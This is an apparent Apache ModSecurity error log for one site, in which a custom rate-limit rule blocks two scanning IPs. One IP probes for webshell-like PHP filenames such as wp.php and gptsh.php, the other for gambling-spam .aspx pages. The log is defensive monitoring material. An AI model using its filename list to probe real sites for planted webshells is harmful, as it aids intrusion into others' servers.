[Sat Apr 04 04:46:48.760146 2026] [:error] [pid 2459:tid 2538] [client 193.70.34.35:58846] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "adAnOAefyCmu4LR_PlpXxwAAAIY"]
[Sat Apr 04 04:46:48.781929 2026] [:error] [pid 2459:tid 2531] [client 168.63.57.185:49513] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "adAnOAefyCmu4LR_PlpXyAAAAIA"]
[Sat Apr 04 04:46:49.290297 2026] [:error] [pid 2459:tid 2539] [client 168.63.57.185:38571] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "adAnOQefyCmu4LR_PlpXywAAAIc"]
[Sat Apr 04 04:46:49.816983 2026] [:error] [pid 2459:tid 2551] [client 168.63.57.185:37285] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "adAnOQefyCmu4LR_PlpXzQAAAJM"]
[Sat Apr 04 04:46:50.433604 2026] [:error] [pid 2567:tid 2598] [client 168.63.57.185:19467] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "adAnOmJJmfRsTrAKjdQ1gAAAANg"]
[Sat Apr 04 04:46:50.796330 2026] [:error] [pid 2458:tid 2526] [client 193.70.34.35:58860] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "adAnOiNozic5SuWqclnMUwAAAFY"]
[Sat Apr 04 04:46:51.085968 2026] [:error] [pid 2567:tid 2574] [client 168.63.57.185:3303] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-good.php"] [unique_id "adAnO2JJmfRsTrAKjdQ1iQAAAMA"]
[Sat Apr 04 04:46:51.602491 2026] [:error] [pid 2567:tid 2578] [client 168.63.57.185:43956] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-good.php"] [unique_id "adAnO2JJmfRsTrAKjdQ1jwAAAMQ"]
[Sat Apr 04 04:46:52.111882 2026] [:error] [pid 2459:tid 2535] [client 168.63.57.185:54530] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-good.php"] [unique_id "adAnPAefyCmu4LR_PlpX0QAAAIQ"]
[Sat Apr 04 04:46:52.807608 2026] [:error] [pid 2567:tid 2588] [client 193.70.34.35:58874] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "adAnPGJJmfRsTrAKjdQ1mAAAAM4"]
[Sat Apr 04 04:46:52.978118 2026] [:error] [pid 2459:tid 2556] [client 168.63.57.185:39823] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-good.php"] [unique_id "adAnPAefyCmu4LR_PlpX1AAAAJg"]
[Sat Apr 04 04:46:53.488929 2026] [:error] [pid 2567:tid 2591] [client 168.63.57.185:54574] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zoper1.php"] [unique_id "adAnPWJJmfRsTrAKjdQ1mgAAANE"]
[Sat Apr 04 04:46:54.100762 2026] [:error] [pid 2459:tid 2543] [client 168.63.57.185:37891] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zoper1.php"] [unique_id "adAnPgefyCmu4LR_PlpX1gAAAIs"]
[Sat Apr 04 04:46:54.642197 2026] [:error] [pid 2459:tid 2531] [client 168.63.57.185:37306] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zoper1.php"] [unique_id "adAnPgefyCmu4LR_PlpX2AAAAIA"]
[Sat Apr 04 04:46:54.828192 2026] [:error] [pid 2459:tid 2534] [client 193.70.34.35:58886] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "adAnPgefyCmu4LR_PlpX2QAAAIM"]
[Sat Apr 04 04:46:55.222340 2026] [:error] [pid 37114:tid 37125] [client 168.63.57.185:54537] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zoper1.php"] [unique_id "adAnP8-DnSj3fGMexeJjygAAAQk"]
[Sat Apr 04 04:46:55.758420 2026] [:error] [pid 2459:tid 2549] [client 168.63.57.185:39266] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/5xkfgawzejgwqh9hiaznCdefault.php"] [unique_id "adAnPwefyCmu4LR_PlpX3gAAAJE"]
[Sat Apr 04 04:46:56.361330 2026] [:error] [pid 2567:tid 2581] [client 168.63.57.185:49519] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/5xkfgawzejgwqh9hiaznCdefault.php"] [unique_id "adAnQGJJmfRsTrAKjdQ1rAAAAMc"]
[Sat Apr 04 04:46:56.846193 2026] [:error] [pid 2459:tid 2535] [client 193.70.34.35:58888] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "adAnQAefyCmu4LR_PlpX4QAAAIQ"]
[Sat Apr 04 04:46:57.043100 2026] [:error] [pid 2567:tid 2582] [client 168.63.57.185:49484] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/5xkfgawzejgwqh9hiaznCdefault.php"] [unique_id "adAnQWJJmfRsTrAKjdQ1sAAAAMg"]
[Sat Apr 04 04:46:57.582714 2026] [:error] [pid 2459:tid 2533] [client 168.63.57.185:19478] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/5xkfgawzejgwqh9hiaznCdefault.php"] [unique_id "adAnQQefyCmu4LR_PlpX5gAAAII"]
[Sat Apr 04 04:46:58.208556 2026] [:error] [pid 37114:tid 37116] [client 168.63.57.185:49474] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass.php"] [unique_id "adAnQs-DnSj3fGMexeJj0QAAAQA"]
[Sat Apr 04 04:46:58.712164 2026] [:error] [pid 37114:tid 37117] [client 193.70.34.35:33306] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "adAnQs-DnSj3fGMexeJj1AAAAQE"]
[Sat Apr 04 04:46:58.813814 2026] [:error] [pid 37114:tid 37124] [client 168.63.57.185:3291] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass.php"] [unique_id "adAnQs-DnSj3fGMexeJj1gAAAQg"]
[Sat Apr 04 04:46:59.465508 2026] [:error] [pid 2458:tid 2509] [client 168.63.57.185:39848] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass.php"] [unique_id "adAnQyNozic5SuWqclnMXQAAAEU"]
[Sat Apr 04 04:46:59.996563 2026] [:error] [pid 37114:tid 37133] [client 168.63.57.185:37909] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass.php"] [unique_id "adAnQ8-DnSj3fGMexeJj3QAAARE"]
[Sat Apr 04 04:47:00.527757 2026] [:error] [pid 2459:tid 2552] [client 168.63.57.185:38565] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gptsh.php"] [unique_id "adAnRAefyCmu4LR_PlpX7gAAAJQ"]
[Sat Apr 04 04:47:00.709000 2026] [:error] [pid 2459:tid 2533] [client 193.70.34.35:33318] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "adAnRAefyCmu4LR_PlpX8AAAAII"]
[Sat Apr 04 04:47:01.252282 2026] [:error] [pid 2567:tid 2574] [client 168.63.57.185:37905] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gptsh.php"] [unique_id "adAnRWJJmfRsTrAKjdQ1twAAAMA"]
[Sat Apr 04 04:47:01.790922 2026] [:error] [pid 37114:tid 37136] [client 168.63.57.185:37949] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gptsh.php"] [unique_id "adAnRc-DnSj3fGMexeJj5AAAARQ"]
[Sat Apr 04 04:47:02.314765 2026] [:error] [pid 37114:tid 37127] [client 168.63.57.185:49521] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gptsh.php"] [unique_id "adAnRs-DnSj3fGMexeJj5gAAAQs"]
[Sat Apr 04 04:47:02.738278 2026] [:error] [pid 2458:tid 2504] [client 193.70.34.35:33328] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "adAnRiNozic5SuWqclnMYwAAAEA"]
[Sat Apr 04 04:47:02.895990 2026] [:error] [pid 2459:tid 2556] [client 168.63.57.185:14668] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new3.php"] [unique_id "adAnRgefyCmu4LR_PlpX_wAAAJg"]
[Sat Apr 04 04:47:03.525131 2026] [:error] [pid 2459:tid 2540] [client 168.63.57.185:49480] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new3.php"] [unique_id "adAnRwefyCmu4LR_PlpYBgAAAIg"]
[Sat Apr 04 04:47:04.115580 2026] [:error] [pid 37114:tid 37132] [client 168.63.57.185:14195] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new3.php"] [unique_id "adAnSM-DnSj3fGMexeJj_wAAARA"]
[Sat Apr 04 04:47:04.627442 2026] [:error] [pid 2567:tid 2593] [client 193.70.34.35:33340] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "adAnSGJJmfRsTrAKjdQ12AAAANM"]
[Sat Apr 04 04:47:04.708273 2026] [:error] [pid 2567:tid 2575] [client 168.63.57.185:14181] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new3.php"] [unique_id "adAnSGJJmfRsTrAKjdQ13AAAAME"]
[Sat Apr 04 04:47:05.392129 2026] [:error] [pid 37114:tid 37123] [client 168.63.57.185:45924] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp5.php"] [unique_id "adAnSc-DnSj3fGMexeJkBQAAAQc"]
[Sat Apr 04 04:47:05.951633 2026] [:error] [pid 37114:tid 37125] [client 168.63.57.185:14199] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp5.php"] [unique_id "adAnSc-DnSj3fGMexeJkCgAAAQk"]
[Sat Apr 04 04:47:06.590602 2026] [:error] [pid 2457:tid 2500] [client 168.63.57.185:14207] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp5.php"] [unique_id "adAnSkmNHppaMd92ZpdHZAAAABc"]
[Sat Apr 04 04:47:06.633551 2026] [:error] [pid 2457:tid 2501] [client 193.70.34.35:33344] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "adAnSkmNHppaMd92ZpdHZQAAABg"]
[Sat Apr 04 04:47:07.203351 2026] [:error] [pid 2567:tid 2582] [client 168.63.57.185:45948] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp5.php"] [unique_id "adAnS2JJmfRsTrAKjdQ15AAAAMg"]
[Sat Apr 04 04:47:08.017023 2026] [:error] [pid 2567:tid 2590] [client 168.63.57.185:56461] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws87.php"] [unique_id "adAnTGJJmfRsTrAKjdQ16wAAANA"]
[Sat Apr 04 04:47:08.362521 2026] [:error] [pid 37114:tid 37127] [client 193.70.34.35:50444] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "adAnTM-DnSj3fGMexeJkEwAAAQs"]
[Sat Apr 04 04:47:09.035208 2026] [:error] [pid 2459:tid 2547] [client 168.63.57.185:43379] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws87.php"] [unique_id "adAnTQefyCmu4LR_PlpYDAAAAI8"]
[Sat Apr 04 04:47:09.728347 2026] [:error] [pid 2459:tid 2553] [client 168.63.57.185:25410] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws87.php"] [unique_id "adAnTQefyCmu4LR_PlpYDQAAAJU"]
[Sat Apr 04 04:47:10.270021 2026] [:error] [pid 37114:tid 37125] [client 193.70.34.35:50456] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "adAnTs-DnSj3fGMexeJkFQAAAQk"]
[Sat Apr 04 04:47:12.279449 2026] [:error] [pid 2458:tid 2505] [client 193.70.34.35:50482] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "adAnUCNozic5SuWqclnMdQAAAEE"]
[Sat Apr 04 04:47:14.291775 2026] [:error] [pid 2458:tid 2510] [client 193.70.34.35:50510] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "adAnUiNozic5SuWqclnMegAAAEY"]
[Sat Apr 04 04:47:16.319777 2026] [:error] [pid 2458:tid 2517] [client 193.70.34.35:50526] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20game%20666.aspx"] [unique_id "adAnVCNozic5SuWqclnMhAAAAE0"]
[Sat Apr 04 04:47:18.342885 2026] [:error] [pid 37114:tid 37132] [client 193.70.34.35:38348] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20joker.aspx"] [unique_id "adAnVs-DnSj3fGMexeJkJwAAARA"]
[Sat Apr 04 04:47:20.350162 2026] [:error] [pid 2567:tid 2591] [client 193.70.34.35:38354] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20online.aspx"] [unique_id "adAnWGJJmfRsTrAKjdQ2GgAAANE"]
[Sat Apr 04 04:47:27.411142 2026] [:error] [pid 2458:tid 2509] [client 168.63.57.185:38531] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/myfile.php"] [unique_id "adAnXyNozic5SuWqclnMqQAAAEU"]
[Sat Apr 04 04:47:28.107317 2026] [:error] [pid 2567:tid 2587] [client 168.63.57.185:28478] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/myfile.php"] [unique_id "adAnYGJJmfRsTrAKjdQ2NQAAAM0"]
[Sat Apr 04 04:47:28.634033 2026] [:error] [pid 2567:tid 2580] [client 168.63.57.185:25419] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/myfile.php"] [unique_id "adAnYGJJmfRsTrAKjdQ2OgAAAMY"]
[Sat Apr 04 04:47:29.190142 2026] [:error] [pid 2457:tid 2480] [client 168.63.57.185:13491] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/myfile.php"] [unique_id "adAnYUmNHppaMd92ZpdHhQAAAAM"]
